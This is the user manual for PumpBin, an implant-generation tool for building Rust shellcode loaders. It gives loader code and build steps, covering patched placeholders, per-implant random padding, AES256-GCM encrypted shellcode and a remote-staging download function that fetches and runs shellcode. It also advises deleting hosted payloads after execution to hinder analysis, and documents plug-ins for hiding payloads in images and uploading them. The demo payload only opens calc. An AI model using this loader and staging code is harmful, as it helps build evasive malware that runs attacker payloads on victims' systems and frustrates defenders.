PumpBin

PumpBin is an Implant Generation Platform.

To use PumpBin, you need to have a b1n file or Create One.
A b1n file contains one or more binary implant templates, along with some Extism Plug-in and some additional descriptive information.
We usually refer to b1n file as Plugin and wasm file as Extism Plug-in.

The plug-in repository collects reusable PumpBin Extism Plug-in.

  • Powerful, simple, and comfortable UI
  • Following the minimal principle to ensure maximum flexibility in usage
  • Support two Plugin types: Local and Remote
  • Support Extism Plug-in System, offering powerful extensibility
  • Each generated implant has a different random encryption key
  • Populated with randomized data, each generated implant is unique
  • We have user manual, you no longer need to educate your users
  • No dependencies, just PumpBin
  • Support description, you can write anything about this Plugin
  • No network connection(excluding Extism Plug-in)
  • ... And I'm PumpBin, I have magic🪄

Contributing

The site is generated using mdBook, hosted on GitHub.
If you write an article about PumpBin, please submit an issue, and I'll consider linking to your article :)

Quick Start

In this chapter, we will create a Local type Plugin and understand how PumpBin works.

Plugins of type Local have their shellcode stored inside the final implant. This has certain stability advantages, but the shellcode is also easily extracted and analyzed.

PumpBin will read the shellcode file and dynamically patch the encrypted shellcode into the binary implant template according to the encryption settings. The random password used for encryption will also be patched.

So PumpBin is essentially a binary data search and replace tool. This implementation requires that placeholder data be placed in the binary implant in advance, and once the compilation is complete, the length of the placeholder data cannot be changed.

In general, we make the shellcode placeholder data slightly larger than the required length (if you know the length of the shellcode to be used). There are two reasons for this:

  1. For greater compatibility (if the Plugin shellcode placeholder is shorter than the encrypted shellcode, the Plugin will not be able to use this shellcode)
  2. The extra space is not useless, PumpBin will fill it with random data to ensure that each implant is unique

Create binary implant template

I will use create_thread from rust-shellcode as the code to load.

Clone rust-shellcode

git clone --depth 1 https://github.com/b1nhack/rust-shellcode.git

Go to the create_thread directory

cd rust-shellcode
cd create_thread

Compile and run, test if it loads the demo shellcode successfully
By default, w64-exec-calc-shellcode-func.bin will be run, and you should see the calc program start.

cargo r

We need to replace w64-exec-calc-shellcode-func with shellcode placeholder data.
Create build.rs in the create_thread directory and paste the following code

use std::{fs, iter};

fn main() {
    let mut shellcode = "$$SHELLCODE$$".as_bytes().to_vec();
    shellcode.extend(iter::repeat(b'0').take(1024 * 1024));
    fs::write("shellcode", shellcode.as_slice()).unwrap();
}

This will generate a placeholder data of about 1 MiB, and it starts with $$SHELLCODE$$ (we call it Prefix, PumpBin uses it to locate the placeholder data, so Prefix needs to be unique, PumpBin will use the first match).

Replace line 11 of main.rs with the following code to include the placeholder data

let shellcode = include_bytes!("../shellcode");

Since the shellcode will be filled with random data, we need to know the length of the shellcode to correctly extract the shellcode.

Add the following code after line 11 of main.rs

const SIZE_HOLDER: &str = "$$99999$$";
let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
let shellcode = &shellcode[0..shellcode_len];

We added a constant string reference, $$99999$$ is also a Prefix, but we prefer to call it a Place Holder, because it will be completely replaced. (Prefix will be completely replaced with valid data + random data, while Place Holder will be completely replaced with valid data)

With the length information of the shellcode, we can get the correct shellcode. Compile the modified create_thread project, and we will get a simple binary implant template.

cargo b -r

Create Plugin

Now that we have a simple binary implant template, we can use PumpBin Maker to create a Plugin that only contains a Windows Exe

Plugin Name: Enter first_plugin. (This field is the unique identifier for the plugin, which means that users cannot install two plugins with the same name at the same time.)

Prefix: Enter $$SHELLCODE$$. (This is the Prefix of the shellcode placeholder data we used above. You can use any Prefix you like, as long as it is unique or the first one to be matched.)

Max Len: Fill in the total size of the shellcode placeholder data, which in this case should be 1024*1024 + the size of the prefix = 1048589. (Unit: Bytes)

Type: Select Local, Size Holder: Fill in $$99999$$. (This is the constant string reference we used above to determine the length of the shellcode. You can use any Size Holder you like. The rules are the same as above.)

Windows Exe: Select the binary implant template we compiled above. (You can also directly enter the file path)

Click Generate, save the generated b1n file

Test Plugin

Install the plugin created with PumpBin and use w64-exec-calc-shellcode-func to generate a final implant. You should see the calc program start.

At this point, we have created a plugin of type Local and understood how PumpBin works.

The next chapter will introduce the encryption system in PumpBin. The encryption process is transparent to the user and is determined by the Plugin developer and handled by PumpBin.

The complete project files for this example are available in the PumpBin code repository at examples/create_thread.

Encryption

In this chapter, we will optimize the plugin created in the previous chapter and use AES256-GCM to encrypt the shellcode.

Most hackers would want to encrypt their shellcode, and no one would want to expose their infrastructure.

Create binary implant template

To create a plugin with encryption, our binary implant template needs to implement the corresponding decryption logic.

We will change it based on the code in the previous chapter.

Add the following dependencies to the end of the Cargo.toml file

aes-gcm = "0.10.3"

Add the following decryption function above the main function in main.rs

fn decrypt(data: &[u8]) -> Vec<u8> {
    const KEY: &[u8; 32] = b"$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$";
    const NONCE: &[u8; 12] = b"$$NNNNNNNN$$";

    let aes = Aes256Gcm::new_from_slice(KEY).unwrap();
    let nonce = Nonce::from_slice(NONCE);
    aes.decrypt(nonce, data).unwrap()
}

Two of them are array references wrapped in $$, which have already appeared in the previous chapter. They are two Place Holder, which are used by PumpBin to locate placeholder data. (Place Holder is a fixed size, Prefix is a dynamic size, so in the previous chapter, Size Holder is needed to determine the real length of the shellcode, and the Max Len field is also needed)

Add the following code after the fourth line of the main function in main.rs

let shellcode = decrypt(shellcode);

The main function after the addition is complete is as follows

fn main() {
    let shellcode = include_bytes!("../shellcode");
    const SIZE_HOLDER: &str = "$$99999$$";
    let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
    let shellcode = &shellcode[0..shellcode_len];
    let shellcode = decrypt(shellcode);
    let shellcode_size = shellcode.len();
    ...

Compiling the modified create_thread project, we will get a binary implant template that uses AES256-GCM to decrypt the shellcode.

cargo b -r

Create Plugin

We use PumpBin Maker to create the plugin. The steps are the same as in the previous chapter, except that we also need an Extism plug-in that implements the corresponding decryption logic.

The plug-in repository collects reusable PumpBin Extism Plug-ins, including the aes256-gcm Extism Plug-in.

Instructions on how to use it are provided in README.md

key: $$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce: $$NNNNNNNN$$

We need to use a specific key and nonce as a Place Holder in the decryption function of the binary implant template, which we have already done. (If you have previously modified the KEY or NONCE in the decryption function, you need to start again from the step of adding the decryption function)

Download the compiled aes256_gcm.wasm and enter the file path into the Encrypt Shellcode Plug-in input box in PumpBin Maker. (You can also use the file selection dialog to select the downloaded aes256_gcm.wasm file)

Plugin Name: Enter first_plugin. (This field is the unique identifier for the plugin, which means that users cannot install two plugins with the same name at the same time.)

Prefix: Enter $$SHELLCODE$$. (This is the Prefix of the shellcode placeholder data we used above. You can use any Prefix you like, as long as it is unique or the first one to be matched.)

Max Len: Fill in the total size of the shellcode placeholder data, which in this case should be 1024*1024 + the size of the prefix = 1048589. (Unit: Bytes)

Type: Select Local, Size Holder: Fill in $$99999$$. (This is the constant string reference we used above to determine the length of the shellcode. You can use any Size Holder you like. The rules are the same as above.)

Windows Exe: Select the binary implant template we compiled above. (You can also directly enter the file path)

Click Generate, save the generated b1n file

Test Plugin

Install the plugin created with PumpBin and use w64-exec-calc-shellcode-func to generate a final implant. Running it should see the calc program launched.

At this point, we have created a plugin of type Local that uses the AES256-GCM encryption method

In the previous two chapters, I always quoted Local to remind you that it is a keyword. It is very important to understand them correctly when using PumpBin.

In the next chapter, we will create our first plugin of type "Remote". This allows the shellcode to be hosted on a remote server.

The complete project file for this example is available in the PumpBin code repository at examples/create_thread_encrypt.

Remote Type

In this chapter, we will create a plugin of type Remote.

The shellcode of a plugin of type Remote is hosted on a remote server. By controlling the accessibility of the shellcode, it can be made more difficult to extract and analyze, thereby protecting the infrastructure.

For example, delete the remote shellcode file after the implant has run successfully. (provided you don't have other implants that depend on this link running)

It is recommended to always set a unique shellcode hosting address for each generated final implant (one final implant corresponds to one link)

Create binary implant template

We will modify the previous chapter code

First, we need a way to get the encrypted shellcode file from the remote server, instead of including the shellcode placeholder data in the binary implant template in advance.

Delete build.rs (no longer needed to generate shellcode placeholder data).

Add dependencies to the end of Cargo.toml. In this example, the http protocol is used for demonstration purposes. (Any protocol can be used, or the download function can be implemented in any way)

reqwest = { version = "0.12.5", features = ["blocking"] }

Add the following download function to the main function of main.rs

fn download() -> Vec<u8> {
    const URL: &[u8; 81] =
        b"$$UURRLL$$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
    let url = CStr::from_bytes_until_nul(URL).unwrap();
    reqwest::blocking::get(url.to_str().unwrap())
        .unwrap()
        .bytes()
        .unwrap()
        .to_vec()
}

$$UURRLL$$ is a Prefix, which means that the URL constant will be filled with valid data + random data, so it is recommended to reserve a certain number of bytes for PumpBin to fill with random bytes.

Since URLs and the like are mostly printable characters, the processing here is slightly different from the $$$SHELLCODE$$ Prefix in Chapter 1.

We no longer need a size holder to distinguish between valid data and invalid data. Instead, PumpBin will add a \x00 byte after the valid data to locate the valid data. (So the actual maximum URL length will be one byte less than Max Len because a \x00 byte will be added at the end.)

This is easy to implement in Rust, and other languages should have similar implementations. If not, just use a for loop to check if it is a \x00 byte byte by byte.

After implementing the download function, we need to use it in main.rs to replace the shellcode placeholder data

Delete the first four lines of the main function in main.rs and add the following code to the first line

let shellcode = download();
let shellcode = shellcode.as_slice();

The modified main function is as follows

fn main() {
    let shellcode = download();
    let shellcode = shellcode.as_slice();
    let shellcode = decrypt(shellcode);
    let shellcode_size = shellcode.len();
    ...

Compiling the modified create_thread project, we will get a binary implant template that uses the http protocol to download the encrypted shellcode file.

cargo b -r

Create Plugin

Use PumpBin Maker to create a plugin, similar to the previous section.

Prefix: Enter $$UURRLL$$

Max Len: Enter the length of the URL constant array reference. 81.

Type: Select Remote

Download the compiled aes256_gcm.wasm and enter the file path into the Encrypt Shellcode Plug-in input box in PumpBin Maker. (You can also use the file selection dialog to select the downloaded aes256_gcm.wasm file)

Plugin Name: Enter first_plugin. (This field is the unique identifier for the plugin, which means that users cannot install two plugins with the same name at the same time.)

Windows Exe: Select the binary implant template we compiled above. (You can also directly enter the file path)

Click Generate, save the generated b1n file

Test Plugin

Use the PumpBin plugin to install the plugin, click the Encrypt button to select w64-exec-calc-shellcode-func to generate an encrypted shellcode file.

Use Python 3 to start an HTTP service in the same directory as the encrypted shellcode file.

python -m http.server 8000

The local http address of the encrypted shellcode file should be http://127.0.0.1:8000/shellcode.enc

Fill in PumpBin, generate the final implant, run it and you should see the access request, the calc program is started.

If you use the Encrypt Shellcode Plug-in with a random encryption password

the random encryption password recorded internally will be updated every time you click the Encrypt button to successfully encrypt the shellcode (because the real encryption password needs to be patched into the binary implant template). If you encrypt the shellcode once (call it shellcode0), upload shellcode0 to the remote server and fill in the link into PumpBin, but before generating the final implant, you encrypt the shellcode again (call it shellcode1), and then generate the final implant, then the final implant generated can only decrypt shellcode1, but not the remote shellcode0 file.

The following chapters will introduce how to develop the PumpBin Extism Plug-in and more internal details to help cyber security researchers deal with complex requirements.

For example, how to write the encrypted shellcode to a png file after the user clicks the Encrypt button to encrypt the shellcode, and then upload the png file to a website. After the upload is successful, the remote png file access address is automatically filled in the shellcode url input box.

The complete project file in this example is in the PumpBin code repository examples/create_thread_remote.

Extism Plug-in

PumpBin uses Extism to implement the plugin system.

Note: One of the primary use cases for Extism is building extensible software & plugins. You want to be able to execute arbitrary, untrusted code from your users? Extism makes this safe and practical to do.

PumpBin Extism Plug-in input and output are both byte streams, and use json serialization. The plug-in needs to deserialize the input byte stream into json and serialize the json output into a byte stream. An example of using serde_json in rust is as follows:

#[derive(Debug, Serialize, Deserialize)]
pub struct Input {
    ...
}

#[derive(Debug, Serialize, Deserialize)]
pub struct Output {
    ...
}

#[plugin_fn]
pub fn extism_plugin(input: Vec<u8>) -> FnResult<Vec<u8>> {
    let input = serde_json::from_slice::<Input>(input.as_slice())?;
    ...
    let output = Output { ... };
    Ok(serde_json::to_vec(&output)?)
}

Common errors

If there is any code in the plug-in that involves syscalls, you need to compile it with the wasi module enabled. For example, generating random numbers, network access, etc. (It is recommended to compile it with the wasi module enabled directly to avoid errors. In rust, it is the wasm32-wasi target)

Extism has a detailed tutorial on developing plug-ins in various languages. Below is the API documentation for the PumpBin Extism plug-in.

The plugin that ends with remote is a plugin of the Remote type.

encrypt_shellcode

Encrypt the original shellcode.

Function Name

encrypt_shellcode

Input

{
  "shellcode": []
}

The shellcode is a byte array and is the original shellcode.

Output

{
  "encrypted": [],
  "pass": [
    {
      "holder": [],
      "replace_by": []
    },
    {
      "holder": [],
      "replace_by": []
    }
  ]
}

encrypted is a byte array, which is the encrypted shellcode.

pass is an array of the following json structure, which is used to patch the encrypted password in the binary implant template (some encryption methods have multiple passwords, so it is an array):

{
    "holder": [],
    "replace_by": []
}

The holder is a byte array and is a placeholder for the password in the decryption function of the binary implant template. When sharing a plug-in, please inform how to correctly set the password in the decryption function. For example, aes256-gcm in the plug-in repository has the following README content:

key: $$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce: $$NNNNNNNN$$

The above content shows that when using the aes256-gcm plug-in, the key in the AES256-GCM decryption function of the binary implant template needs to be set to $$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$, and the nonce to $$NNNNNNNN$$.

The replace_by is a byte array and is the encryption password. A random encryption password can be generated in the plug-in so that each generated final implant has a unique encryption password.

format_encrypted_shellcode

Convert the encrypted shellcode to another format, such as steganography to png, convert to UUID...

Function Name

format_encrypted_shellcode

Input

{
  "shellcode": []
}

The shellcode is a byte array and is the encrypted shellcode.

Output

{
  "formated_shellcode": []
}

formated_shellcode is a byte array, which is the converted shellcode.

format_url_remote

Convert shellcode url to another format. (Remote Only)

Function Name

format_url_remote

Input

{
  "url": ""
}

url is a string, which is the original shellcode url.

Output

{
  "formated_url": ""
}

formated_url is a string, which is the converted shellcode url.

upload_final_shellcode_remote

Upload the final shellcode to the remote server. (Remote Only)

The final shellcode is the encrypted and converted shellcode. If a plug-in is not set, it is returned as is. For example, if the format_encrypted_shellcode plug-in is not set, the encrypted shellcode is returned as is.

Function Name

upload_final_shellcode_remote

Input

{
  "final_shellcode": []
}

final_shellcode is a byte array, which is the final shellcode.

Output

{
  "url": ""
}

url is a string, which is the URL address after the upload, and PumpBin will automatically fill it into the shellcode URL input box.

Getting Started

Translations

Chinese